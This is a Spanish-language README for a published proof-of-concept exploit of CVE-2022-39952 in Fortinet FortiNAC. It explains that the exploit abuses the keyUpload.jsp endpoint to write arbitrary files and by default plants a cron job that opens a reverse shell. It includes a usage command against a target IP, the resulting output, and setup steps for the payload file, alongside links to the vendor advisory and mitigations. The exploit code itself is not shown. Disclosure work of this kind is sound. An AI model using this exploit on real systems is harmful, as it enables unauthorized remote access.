CVE-2022-39952

POC para CVE-2022-39952 que afecta a Fortinet FortiNAC

La configuración por defecto de este exploit escribe un trabajo cron para crear un reverse shell. Asegúrate de cambiar el archivo payload para adaptarlo a tu entorno.

Análisis técnico

Un análisis técnico de causa raíz de la vulnerabilidad y los indicadores de compromiso se puede encontrar en nuestro blog: https://www.horizon3.ai/fortinet-fortinac-cve-2022-39952-deep-dive-and-iocs

Resumen

Este POC abusa del endpoint keyUpload.jsp para lograr una escritura arbitraria de archivos.

Uso

root@kali:~/CVE-2022-39952# python3 CVE-2022-39952.py --target 10.0.40.85 --file payload
[+] Wrote payload to /etc/cron.d/payload
[+] Payload successfully delivered

Solución de problemas

Si usas un payload basado en cron, asegúrate de que el archivo payload tenga los permisos y el propietario adecuados:

sudo chown root:root payload

sudo chmod 0644 payload 

Mitigaciones

Actualiza a la última versión siguiendo las instrucciones dentro del PSIRT https://www.fortiguard.com/psirt/FG-IR-22-300

Sigue al equipo de ataque de Horizon3.ai en Twitter para las últimas investigaciones de seguridad:

• Horizon3 Attack Team
• James Horseman
• Zach Hanley

Aviso legal

Este software ha sido creado puramente con fines de investigación académica y para el desarrollo de técnicas defensivas efectivas, y no está destinado a ser utilizado para atacar sistemas excepto cuando esté explícitamente autorizado. Los mantenedores del proyecto no son responsables del mal uso del software. Úsalo de forma responsable.